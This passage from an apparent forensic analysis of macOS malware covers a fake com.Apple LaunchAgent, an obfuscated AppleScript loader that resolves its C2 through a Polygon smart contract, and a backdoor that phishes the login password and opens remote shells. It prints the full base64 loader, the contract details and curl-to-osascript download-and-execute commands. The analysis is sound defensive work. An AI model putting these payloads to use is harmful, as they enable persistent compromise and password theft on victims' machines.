SkgJiBfX1dLN1JZQTdyICYgKCgoc3RyaW5nIGlkIHszOSwgNDEsIDU5LCAzMiwgMTA0LCA2MSwgMzYsIDQwLCAxMDEsIDk5LCAxMDQsIDExMSwgMzIsIDM0LCAzNiwgMTE0LCAzNCwgMzIsIDEyNCwgMzIsIDExNSwgMTAxLCAxMDAsIDMyLCA0NSwgMTEwLCAzMiwgMzl9KSAmIChzdHJpbmcgaWQgezExNSwgNDcsIDQ2LCA0MiwgMzQsIDExNCwgMTAxLCAxMTUsIDExNywgMTA4LCAxMTYsIDM0LCA1OCwgMzQsIDQ4LCAxMjAsIDkyLCA0MCwgOTEsIDk0LCAzNCwgOTMsIDQyLCA5MiwgNDEsIDM0LCA0NiwgNDIsIDQ3LCA5MiwgNDksIDQ3LCAxMTIsIDM5LCA0MSwgNTksIDMyLCA5MSwgMzIsIDQ1LCAxMjIsIDMyLCAzNCwgMzYsIDEwNCwgMzQsIDMyLCA5MywgMzh9KSkgJiAoKHN0cmluZyBpZCB7MzgsIDEwMSwgMTIwLCAxMDUsIDExNiwgMzIsIDQ5LCA1OSwgMzIsIDEwOCwgNjEsIDM2LCA0MCwgMTEyLCAxMTQsIDEwNSwgMTEwLCAxMTYsIDEwMiwgMzIsIDM0LCAzNywgMTAwLCAzNCwgMzIsIDM0LCA0OCwgMTIwLCAzNiwgMTIzLCAxMDQsIDU4LCA1NCwgNTIsIDU4LCA1NCwgNTIsIDEyNSwgMzQsIDQxLCA1OSwgMzIsIDEwMSwgOTksIDEwNH0pICYgKHN0cmluZyBpZCB7MTExLCAzMiwgMzQsIDM2LCAxMjMsIDEwNCwgNTgsIDQ5LCA1MCwgNTYsIDU4LCAzNiwgNDAsIDQwLCAxMDgsIDQyLCA1MCwgNDEsIDQxLCAxMjUsIDM0LCAxMjQsIDEyMCwgMTIwLCAxMDAsIDMyLCA0NSwgMTE0LCAzMiwgNDUsIDExMn0pKSkKCQlpZiBfX1BrckkxYWRnRUY5IGlzIG5vdCBlcXVhbCAiIiB0aGVuIGV4aXQgcmVwZWF0CgllbmQgdHJ5CmVuZCByZXBlYXQKCmlmIF9fUGtySTFhZGdFRjkgaXMgbm90IGVxdWFsICIiIHRoZW4KCXNldCBfX2FEa2lEeHQgdG8gKCJjdXJsIC0tY29ubmVjdC10aW1lb3V0IDUgLS1tYXgtdGltZSAyMCAtLXJldHJ5IDMgLS1yZXQiICYgInJ5LWRlbGF5IDUgIikgJiAoc3RyaW5nIGlkIHs0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDEwNCwgMTE2LCAxMTYsIDExMiwgMTE1LCA1OCwgNDcsIDQ3fSkgJiBxdW90ZWQgZm9ybSBvZiBfX1BrckkxYWRnRUY5ICYgIiAiICYgIi1kICIgJiBxdW90ZWQgZm9ybSBvZiAoKCgidHhpIiAmICJkIikgJiAoY2hhcmFjdGVyIGlkIDYxKSkgJiBfUTRIQVNOakRlcyAmICgoKChBU0NJSSBjaGFyYWN0ZXIgMzgpICYgKEFTQ0lJIGNoYXJhY3RlciA5OCkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA5KSAmICJvIikpICYgKCgiZCIgJiAoY2hhcmFjdGVyIGlkIDExNykpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkpKSkgJiAoc3RyaW5nIGlkIHszMiwgMTI0LCAzMiwgMTExLCAxMTUsIDk3LCAxMTUsIDk5LCAxMTQsIDEwNSwgMTEyLCAxMTZ9KQoJZG8gc2hlbGwgc2NyaXB0IF9fYURraUR4dAplbmQgaWY=' | base64 -d | osascript</string>
    </array>
  </dict>
</plist>
END_PLIST

# Line 10
launchctl unload ~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist 2>/dev/null

# Line 11
launchctl load ~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist

5.4 Analysis

• Label. com.Apple. followed by 16 lowercase letters (fzylihcshhojvmnr). The prefix uses a capital “A”, whereas the labels of Apple components start with com.apple..
• unload then load. The unload (errors redirected to /dev/null) comes before the load, which makes the installation replayable without errors, whether or not the agent already exists.
• RunAtLoad=true. The agent is launched on load, so immediately after launchctl load, then at each login.
• KeepAlive=true. launchd restarts the process every time it exits.
• Privileges. All writes happen in $HOME. Layer 1 uses neither sudo nor an elevation prompt.
• Embedded loader. Layer 2 is entirely contained in base64 in ProgramArguments. Layer 1 writes no file other than the plist.

---

6. Layer 2: persistent loader (decoded from layer 1)

6.1 Execution

ProgramArguments launches:

/bin/bash -c "echo 'c2V0IF9fRTBwT0NOVkcgdG8gMjgwNS4yMzg4CnNldCBfX3c3RGp2RjNLIHRvICg2MSArIDUzNCkgKiA0CnByb3BlcnR5IF9fdVVqaWdvM3MgOiAiRmhlZHoyVVIwQiIKc2V0IF9xNmw1Qk5vYiB0byA2NzgxOApwcm9wZXJ0eSBfZkxYOEFyOGViNSA6ICJXQnRxVmUzOERaMlVWWEwiCnNldCBfX1R5ZWd3Wm5vS21VIHRvICJqTXNBemdEWUQwSyIKc2V0IF9fZU81cm9PN1ptWmcgdG8geygoKCgoQVNDSUkgY2hhcmFjdGVyIDExMikgJiAibyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSkpICYgKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAoY2hhcmFjdGVyIGlkIDExMSkpICYgKChjaGFyYWN0ZXIgaWQgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpKSkpICYgKCgoKGNoYXJhY3RlciBpZCAxMDApICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmICgicGMiICYgKGNoYXJhY3RlciBpZCA0NikpKSAmICgoKGNoYXJhY3RlciBpZCAxMTEpICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAzKSkpKSwgKCgoKCgicCIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChjaGFyYWN0ZXIgaWQgMTIxKSkpICYgKCgiZyIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKCJuIiAmICIucCIpKSkgJiAoKCgoQVNDSUkgY2hhcmFjdGVyIDExNykgJiAiYiIpICYgKCJsIiAmICJpYyIpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTApICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgiZCIgJiAoY2hhcmFjdGVyIGlkIDEwMSkpKSkpICYgKCIuY28iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDkpKSksICgoKCgoKGNoYXJhY3RlciBpZCAxMTIpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgibCIgJiAoY2hhcmFjdGVyIGlkIDEyMSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMDMpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgibiIgJiAoY2hhcmFjdGVyIGlkIDQ1KSkpKSAmICgoKChjaGFyYWN0ZXIgaWQgMTA5KSAmICJhIikgJiAoImkiICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCA0NikpKSkpICYgKCgoKChjaGFyYWN0ZXIgaWQgMTAzKSAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExNikgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTkpICYgImEiKSAmICgoY2hhcmFjdGVyIGlkIDEyMSkgJiAoY2hhcmFjdGVyIGlkIDQ2KSkpKSAmICgoKCJ0IiAmICJhdCIpICYgKCJ1bS4iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDUpKSkgJiAoY2hhcmFjdGVyIGlkIDExMSkpKSksICgoKCgoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgImUiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExMCkgJiAiZCIpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMDEpICYgInIiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDEwOCkgJiAieS4iKSkpICYgKCgoKGNoYXJhY3RlciBpZCAxMTQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTIpKSAmICgoY2hhcmFjdGVyIGlkIDk5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTEyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDgpICYgKGNoYXJhY3RlciBpZCAxMjEpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAibyIpICYgKCJuIiAmIChjaGFyYWN0ZXIgaWQgNDYpKSkgJiAoKChjaGFyYWN0ZXIgaWQgOTkpICYgKGNoYXJhY3RlciBpZCAxMTEpKSAmICgoY2hhcmFjdGVyIGlkIDEwOSkgJiAoY2hhcmFjdGVyIGlkIDEwOSkpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTE3KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEwKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDUpICYgInR5IikpKSl9CnNldCBfX1dLN1JZQTdyIHRvICgoKChzdHJpbmcgaWQgezEyMywgMzQsIDEwNiwgMTE1LCAxMTEsIDExMCwgMTE0LCAxMTIsIDk5LCAzNCwgNTgsIDM0LCA1MCwgNDYsIDQ4LCAzNCwgNDQsIDM0LCAxMDksIDEwMSwgMTE2LCAxMDQsIDExMSwgMTAwLCAzNCwgNTgsIDM0LCAxMDEsIDExNiwgMTA0LCA5NSwgOTksIDk3LCAxMDgsIDEwOCwgMzQsIDQ0LCAzNCwgMTEyLCA5NywgMTE0LCA5NywgMTA5LCAxMTUsIDM0LCA1OCwgOTF9KSAmIChzdHJpbmcgaWQgezEyMywgMzQsIDExNiwgMTExLCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA2NSwgNTEsIDk3LCA1NCwgNDgsIDUxLCA3MCwgNTYsIDk3LCA1MiwgNTMsIDUyLCA5NywgNTcsIDk5LCA1N30pKSAmICgoc3RyaW5nIGlkIHs0OCwgNTMsIDk4LCA1MiwgOTksIDUzLCA1NSwgNTcsIDY2LCA5OCwgNTUsIDUwLCA1NCwgNTAsIDU2LCA3MCwgNTUsIDY3fSkgJiAoc3RyaW5nIGlkIHs0OSwgNTMsIDY3LCA1MCwgNjUsIDQ4LCAzNCwgNDQsIDM0LCAxMDAsIDk3LCAxMTYsIDk3LCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA1MCwgNTQsIDU2LCA1NCwgMTAxLCA5OSwgMTAxLCA5NywgMzQsIDEyNSwgNDQsIDM0LCAxMDgsIDk3LCAxMTYsIDEwMSwgMTE1LCAxMTYsIDM0LCA5MywgNDQsIDM0fSkpKSAmIChzdHJpbmcgaWQgezEwNSwgMTAwLCAzNCwgNTgsIDQ5LCAxMjV9KSkKCnNldCBfUTRIQVNOakRlcyB0byAoc3RyaW5nIGlkIHsxMDEsIDk5LCA5OCwgOTksIDk3LCA1NiwgNTEsIDk5LCA0OSwgNTIsIDU0LCA1MSwgNTIsIDU3LCAxMDIsIDU0LCA1NSwgNDksIDUzLCA1NCwgOTgsIDUxLCA1MSwgMTAxLCA5OSwgOTksIDUxLCAxMDEsIDQ5LCA5NywgMTAxLCAxMDJ9KQoKcmVwZWF0IHdpdGggX19yOEZpdHhrR3QgaW4gX19lTzVyb083Wm1aZwoJdHJ5CgkJc2V0IF9fUGtySTFhZGdFRjkgdG8gZG8gc2hlbGwgc2NyaXB0ICgoKCgoInIiICYgIj0iKSAmICgoY2hhcmFjdGVyIGlkIDM2KSAmIChjaGFyYWN0ZXIgaWQgNDApKSkgJiAoKCJjdSIgJiAicmwiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChjaGFyYWN0ZXIgaWQgNDUpKSkpICYgKCgoKEFTQ0lJIGNoYXJhY3RlciAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikpICYgKChjaGFyYWN0ZXIgaWQgNDUpICYgIi1tIikpICYgKCgiYXgtIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSkgJiAoKGNoYXJhY3RlciBpZCAxMDUpICYgKGNoYXJhY3RlciBpZCAxMDkpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMSkgJiAoY2hhcmFjdGVyIGlkIDMyKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciA0OSkgJiAoY2hhcmFjdGVyIGlkIDUzKSkpICYgKCgoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA0KSkgJiAoKGNoYXJhY3RlciBpZCAxMTYpICYgKGNoYXJhY3RlciBpZCAxMTYpKSkpICYgKCgoY2hhcmFjdGVyIGlkIDExMikgJiAicyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgNTgpICYgIi8vIikpKSkgJiBfX3I4Rml0eGtHdCAmIChzdHJpbmcgaWQgezMyLCA0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDQ1LCA3MiwgMzIsIDM5LCA2NywgMTExLCAxMTAsIDExNiwgMTAxLCAxMTAsIDExNiwgNDUsIDg0LCAxMjEsIDExMiwgMTAxLCA1OCwgMzIsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDUsIDk5LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCA0NywgMTA2LCAxMTUsIDExMSwgMTEwLCAzOSwgMzIsIDQ1LCA0NSwgMTAwLCA5NywgMTE2LCA5NywgMzIsIDM5fSkgJiBfX1dLN1JZQTdyICYgKCgoc3RyaW5nIGlkIHszOSwgNDEsIDU5LCAzMiwgMTA0LCA2MSwgMzYsIDQwLCAxMDEsIDk5LCAxMDQsIDExMSwgMzIsIDM0LCAzNiwgMTE0LCAzNCwgMzIsIDEyNCwgMzIsIDExNSwgMTAxLCAxMDAsIDMyLCA0NSwgMTEwLCAzMiwgMzl9KSAmIChzdHJpbmcgaWQgezExNSwgNDcsIDQ2LCA0MiwgMzQsIDExNCwgMTAxLCAxMTUsIDExNywgMTA4LCAxMTYsIDM0LCA1OCwgMzQsIDQ4LCAxMjAsIDkyLCA0MCwgOTEsIDk0LCAzNCwgOTMsIDQyLCA5MiwgNDEsIDM0LCA0NiwgNDIsIDQ3LCA5MiwgNDksIDQ3LCAxMTIsIDM5LCA0MSwgNTksIDMyLCA5MSwgMzIsIDQ1LCAxMjIsIDMyLCAzNCwgMzYsIDEwNCwgMzQsIDMyLCA5MywgMzh9KSkgJiAoKHN0cmluZyBpZCB7MzgsIDEwMSwgMTIwLCAxMDUsIDExNiwgMzIsIDQ5LCA1OSwgMzIsIDEwOCwgNjEsIDM2LCA0MCwgMTEyLCAxMTQsIDEwNSwgMTEwLCAxMTYsIDEwMiwgMzIsIDM0LCAzNywgMTAwLCAzNCwgMzIsIDM0LCA0OCwgMTIwLCAzNiwgMTIzLCAxMDQsIDU4LCA1NCwgNTIsIDU4LCA1NCwgNTIsIDEyNSwgMzQsIDQxLCA1OSwgMzIsIDEwMSwgOTksIDEwNH0pICYgKHN0cmluZyBpZCB7MTExLCAzMiwgMzQsIDM2LCAxMjMsIDEwNCwgNTgsIDQ5LCA1MCwgNTYsIDU4LCAzNiwgNDAsIDQwLCAxMDgsIDQyLCA1MCwgNDEsIDQxLCAxMjUsIDM0LCAxMjQsIDEyMCwgMTIwLCAxMDAsIDMyLCA0NSwgMTE0LCAzMiwgNDUsIDExMn0pKSkKCQlpZiBfX1BrckkxYWRnRUY5IGlzIG5vdCBlcXVhbCAiIiB0aGVuIGV4aXQgcmVwZWF0CgllbmQgdHJ5CmVuZCByZXBlYXQKCmlmIF9fUGtySTFhZGdFRjkgaXMgbm90IGVxdWFsICIiIHRoZW4KCXNldCBfX2FEa2lEeHQgdG8gKCJjdXJsIC0tY29ubmVjdC10aW1lb3V0IDUgLS1tYXgtdGltZSAyMCAtLXJldHJ5IDMgLS1yZXQiICYgInJ5LWRlbGF5IDUgIikgJiAoc3RyaW5nIGlkIHs0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDEwNCwgMTE2LCAxMTYsIDExMiwgMTE1LCA1OCwgNDcsIDQ3fSkgJiBxdW90ZWQgZm9ybSBvZiBfX1BrckkxYWRnRUY5ICYgIiAiICYgIi1kICIgJiBxdW90ZWQgZm9ybSBvZiAoKCgidHhpIiAmICJkIikgJiAoY2hhcmFjdGVyIGlkIDYxKSkgJiBfUTRIQVNOakRlcyAmICgoKChBU0NJSSBjaGFyYWN0ZXIgMzgpICYgKEFTQ0lJIGNoYXJhY3RlciA5OCkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA5KSAmICJvIikpICYgKCgiZCIgJiAoY2hhcmFjdGVyIGlkIDExNykpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkpKSkgJiAoc3RyaW5nIGlkIHszMiwgMTI0LCAzMiwgMTExLCAxMTUsIDk3LCAxMTUsIDk5LCAxMTQsIDEwNSwgMTEyLCAxMTZ9KQoJZG8gc2hlbGwgc2NyaXB0IF9fYURraUR4dAplbmQgaWY=' | base64 -d | osascript"

The base64 decodes into 5,153 bytes of AppleScript, passed to osascript through standard input.

6.2 Obfuscation

The script has 22 lines, 6 of which are decoys (__E0pOCNVG, __w7DjvF3K, __uUjigo3s, _q6l5BNob, _fLX8Ar8eb5, __TyegwZnoKmU). The useful strings are built with 52 ASCII character N, 39 character id N and 13 string id {…}, spread across concatenation trees. The fully resolved code is in section 13.3.

6.3 Useful variables

Variable	Content
__eO5roO7ZmZg	{"polygon[.]drpc[.]org", "polygon[.]publicnode[.]com", "polygon-mainnet[.]gateway[.]tatum[.]io", "tenderly[.]rpc[.]polygon[.]community"}
__WK7RYA7r	JSON-RPC eth_call body (section 7.1)
_Q4HASNjDes	ecbca83c146349f67156b33ecc3e1aef
__r8FitxkGt	Iterator over the list of nodes
__PkrI1adgEF9	Decoded C2 hostname
__aDkiDxt	Download-and-execute command

6.4 Algorithm

for each node in __eO5roO7ZmZg (list order):
    try:
        __PkrI1adgEF9 ← do shell script "eth_call(node) then ABI decoding"
        if __PkrI1adgEF9 ≠ "": exit the loop
    on error: move to the next node
if __PkrI1adgEF9 ≠ "":
    do shell script "curl -X POST hxxps://<C2> -d 'txid=…&bmodule' | osascript"

6.5 Request to the C2

curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 \
     -X POST hxxps://'<C2>' -d 'txid=ecbca83c146349f67156b33ecc3e1aef&bmodule' | osascript

• quoted form of surrounds the hostname with single quotes. The shell concatenates https:// and '<C2>' into https://<C2>.
• No path is added: the request targets the root / of the host.
• The body is sent with -d, so as application/x-www-form-urlencoded. No User-Agent header is set: curl sends its default one.
• The bmodule field has no value.
• The output of curl is passed directly to osascript, without being written to disk.

---

7. C2 resolution on Polygon

7.1 JSON-RPC request

curl -s --max-time 15 hxxps://<node> -X POST \
     -H 'Content-Type: application/json' \
     --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}'

Field	Value
Method	eth_call (read-only call)
Contract (to)	0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Data (data)	0x2686ecea, selector only, no argument
Block	latest

The selector 0x2686ecea equals keccak256("getServerURL()")[0:4].

An eth_call sends no transaction: the machine uses no wallet, no key and no gas.

7.2 Decoding the ABI response

h=$(echo "$r" | sed -n 's/.*"result":"0x\([^"]*\)".*/\1/p')   # hex without "0x"
[ -z "$h" ] && exit 1                                         # no result → failure
l=$(printf "%d" "0x${h:64:64}")                               # word 2 = length (bytes)
echo "${h:128:$((l*2))}" | xxd -r -p                          # word 3+ = data

ABI word (32 bytes)	Hex characters	Use by the loader
0	h[0:64]	String offset, ignored (assumed to be 0x20)
1	h[64:128]	Length l in bytes
2 and following	h[128:128+2l]	Bytes of the string, converted to text by xxd -r -p

Notes:

• Since the offset is ignored, the parser only works for a return value made of a single string, encoded in the standard way.
• ${h:64:64} and $((…)) are bash extensions, run here in the /bin/sh -c of do shell script.
• The logic was replayed offline on a synthetic response (15-byte string): the extracted length is 15, as expected.

7.3 RPC nodes queried

Order	Node
1	polygon[.]drpc[.]org
2	polygon[.]publicnode[.]com
3	polygon-mainnet[.]gateway[.]tatum[.]io
4	tenderly[.]rpc[.]polygon[.]community

Each call has a maximum timeout of 15 s (--max-time 15). The first node that returns a non-empty result is used.

7.4 Value read from the contract

The loader’s request was replayed from the SIFT analysis workstation, with identical ABI decoding reimplemented in Python. The C2 was not contacted.

sansdfir@SANS-SIFT:~$ curl -s hxxps://polygon[.]publicnode[.]com -X POST -H 'Content-Type: application/json' \
>   --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}' \
> | python3 -c 'import sys,json; h=json.load(sys.stdin)["result"][2:]; l=int(h[64:128],16); print(bytes.fromhex(h[128:128+2*l]).decode())'
payload1717.pro

Field	Value
Read date	11 October 2026
Node queried	polygon[.]publicnode[.]com (node #2 of the loader’s list)
Block	latest
Value returned by getServerURL()	payload1717[.]pro
Resulting URL on the loader side	hxxps://payload1717[.]pro (request POST /, body txid=ecbca83c146349f67156b33ecc3e1aef&bmodule)

The value is stored in the contract and can change without any modification of the sample. payload1717[.]pro is the C2 an infected machine would have contacted on the read date.

The contract on public block explorers. The C2 address is hosted neither on a server nor in the sample, but in a public smart contract on the Polygon blockchain. Anyone can consult it:

Explorer	Link to the contract
Polygonscan (Polygon’s reference explorer)	https://polygonscan.com/address/0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Blockscout (open-source explorer)	https://polygon.blockscout.com/address/0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0

These pages show the history of the transactions sent to the contract. Each change of the stored value, so each change of C2, is timestamped there and cannot be erased.

Figure 2: the contract on Polygonscan, with its creator and its 44 “Set Server URL” transactions.

This resolution method is not new: storing a C2 address in a smart contract is a known technique, often called EtherHiding, documented since 2023, and this very contract is already described in public reports (section 11). The C2 is stored in a public, decentralised register: the value written in the contract and its history cannot be erased. The infrastructure itself remains vulnerable: the domain, the server behind Cloudflare or the upload server 62.60.226[.]50 can still be seized or taken down. But the operator only needs one transaction to point infected machines to a new C2, without modifying them. The victim only performs a free read (eth_call), which leaves no trace on the blockchain.

DNS resolution of payload1717[.]pro (11 October 2026, nslookup from the analysis workstation, non-authoritative answer):

Type	Address	Network
A	172.67.192[.]54	Cloudflare (172.64.0.0/13)
A	104.21.65[.]204	Cloudflare (104.21.0.0/16)
AAAA	2606:4700:3036::6815:41cc	Cloudflare (2606:4700::/32)
AAAA	2606:4700:3031::ac43:c036	Cloudflare (2606:4700::/32)

The domain is served by Cloudflare’s reverse proxy: these addresses are shared entry points, not the address of the origin C2 server, which is not exposed. They are not usable indicators for IP blocking. Detection must target the domain name, the content of the requests (txid=…) and the resolution through the contract.

Transaction that wrote payload1717[.]pro. The “Transactions” tab of the contract on Polygonscan shows 44 transactions, all of type “Set Server URL” and sent by the same address, which is also the creator of the contract (created about 162 days before the consultation). The most recent one on 11 October 2026 is the following:

Field	Value
Transaction	0x428420011943030aed14d13a38a78f8d1dbc800544c480267d43855a5720917d
Status	Success
Block	95329996
Timestamp	11 October 2026, 06:30:45 UTC
Sender (operator)	0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3
Recipient	0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 (contract)
Function called	Set Server URL
Input data (UTF-8 view)	×]␛¦ … payload1717.pro
Value transferred	0 POL (fee: 0.0085710191640093 POL)

Figure 3: the transaction that wrote the C2, sent by the operator to the contract on 11 October 2026 at 06:30:45 UTC.

Figure 4: input data of the transaction: the selector followed by the string payload1717.pro.

The input data confirms the mechanism. Its first four bytes, shown as ×]␛¦ in UTF-8, are 0xd7 0x5d 0x1b 0xa6. This is the selector 0xd75d1ba6, equal to keccak256("setServerURL(string)")[0:4]. The string payload1717.pro follows, encoded with the same ABI structure as the one the loader decodes (section 7.2). The value read by getServerURL() in section 7.4 was therefore written by this transaction, about six hours before the consultation.

The history visible on the same page shows close C2 changes: about 6 h, 27 h and 33 h before the consultation, then two transactions 2 days before and others 6 days before. The C2 active at the time of infection may therefore be different. It can be found by decoding, in the same way, the input data of the “Set Server URL” transaction that precedes the infection date.

7.5 Retrieving the C2 response

The C2 response was retrieved by replaying the loader’s final request from the analysis workstation. The only difference is the output: the response is written to a file instead of being passed to osascript. It is never executed.

curl -s -X POST 'hxxps://payload1717[.]pro' -d 'txid=ecbca83c146349f67156b33ecc3e1aef&bmodule' -o bmodule.txt

Parameter	Value	Match with the loader
Method	POST	Identical (-X POST)
URL	hxxps://payload1717[.]pro (root /)	Identical (https:// concatenated with the contract value)
Body	txid=ecbca83c146349f67156b33ecc3e1aef&bmodule	Identical (-d, so application/x-www-form-urlencoded)
Output	File bmodule.txt	Different: the loader passes the response to osascript

Result. The C2 returned an obfuscated AppleScript of 171 lines and 23,808 bytes (SHA-256 b88bceb34033f50a017489d4c4bc6be0c120c0ed4617b7a163f5cc16195a56f3), identified in section 13.4 and analysed in section 8. This content is indeed what the loader would pass to osascript: it starts with AppleScript assignments and defines seven handlers.

---

8. Layer 3: bmodule backdoor (file 2, downloaded from the C2)

8.1 Obfuscation

Measure	Value
Lines / bytes	171 / 23,808
Decoy variables	8: __b0xyaXt, _gfXTyUE5siZ, _PmLGXG1k, _ctevPvN, _gvT5Lp92, _fQPhtPtDja4, _D1RCaPkYCPg, __NN355HxzM
ASCII character N	244
character id N	229
string id {…}	43
& operators	714
Maximum parenthesis depth	7
Handlers	7, with random names

The technique is the same as for layers 1 and 2: strings rebuilt character by character in concatenation trees. Unlike the previous layers, the code is structured in handlers (AppleScript functions) and contains a persistent main loop.

8.2 Global properties

Property	Value	Role
__tqjMFuf	ecbca83c146349f67156b33ecc3e1aef	txid identifier, identical to the one sent by the loader: the response is customised according to the request
_XhMeelcwF	"" initially	URL of the validated C2 (https://<host>/), set by __feZ1gxzI

8.3 Handlers

Handler	Role	Commands run
_tgT4ubF4()	User name	whoami, then id -un, echo $USER, logname. Fallback value: administrator
__mCIQlQgmR2()	Hardware UUID	2 variants of ioreg -rd1 -c IOPlatformExpertDevice (extraction of IOPlatformUUID), then 2 variants of system_profiler SPHardwareDataType. Keeps the first 36-character output containing -
__feZ1gxzI()	C2 resolution and validation	Same eth_call as layer 2 (same 4 nodes, contract and selector), then /usr/bin/curl -d "check" --connect-timeout 50 --max-time 100 'https://<host>/'. The C2 is kept only if the response is exactly success
__hRLroti(user, pwd)	Password validation	dscl . authonly '<user>' '<pwd>'. An empty output means the password is valid
__ChH3xLP(user)	Password phishing	See 8.5
__oVi0n3UPr(uuid, user, txid)	Registration with the C2	POST uuid=…&username=…&txid=…&connect. If the response is newconnect: writes ~/.txid, then tccutil reset All. Also accepts connected
_RzALY49fc1E(uuid, user)	Password check, then registration	Reads ~/.passphrase, validates its content with dscl. If valid, calls __oVi0n3UPr. Otherwise, or if the file doesn’t exist, calls __ChH3xLP

8.4 C2 protocol

All requests are POST to https://<host>/ (root), with an application/x-www-form-urlencoded body and curl’s default User-Agent. The request type is given by a field without a value placed at the end of the body.

Request	Body	Responses handled	Handling of the response
check	check	success	Validates the C2
connect	uuid=<UUID>&username=<user>&txid=<txid>&connect	newconnect, connected	Machine registration
init	txid=<txid>&init	Any	Run by bash, once after registration
task	uuid=<UUID>&username=<user>&txid=<txid>&task	notasks, runloader, runlight, openshell	Task selection
smodule	txid=<txid>&smodule	Any	Run by osascript (task runloader)
lmodule	txid=<txid>&lmodule	Any	Run by osascript (task runlight)
shell	uuid=<UUID>&username=<user>&txid=<txid>&shell	Any	Run by bash (task openshell)

curl parameters observed:

Request	Options
check	/usr/bin/curl (absolute path), --connect-timeout 50 --max-time 100
connect	--connect-timeout 50 --max-time 100 --retry 3 --retry-delay 2
init	--max-time 50 --retry 3 --retry-delay 10
task, smodule, lmodule, shell	--max-time 100 --retry 3 --retry-delay 2

The init, smodule, lmodule and shell payloads are launched in the background and detached from the session:

nohup sh -c 'curl … -d '\''txid=…&smodule'\'' | osascript' > /dev/null 2>&1 < /dev/null &

8.5 Phishing the session password

__ChH3xLP starts by testing an empty password with dscl . authonly. If the account has no password, it writes nopassphrase to ~/.passphrase and stops there.

Otherwise, it shows the following dialog in a loop:

Attribute	Value
Title	System Preferences
Message	You must enter the password to continue:
Icon	caution
Field	Hidden (with hidden answer)
Buttons	Only one: Continue, no Cancel button
Timeout	giving up after 150: the window closes after 150 s, then the loop shows it again

The loop (repeat with no exit condition, except a valid password) only stops when dscl . authonly accepts the input. The password is then written in clear text:

echo '<password>' > ~/.passphrase

The password appears in clear text in the command-line arguments of two processes: dscl . authonly '<user>' '<pwd>' at each attempt, and sh -c "echo '<pwd>' > …" when it is written. It can therefore appear in process telemetry (EDR, Endpoint Security).

8.6 Main loop

user ← _tgT4ubF4()
uuid ← __mCIQlQgmR2()
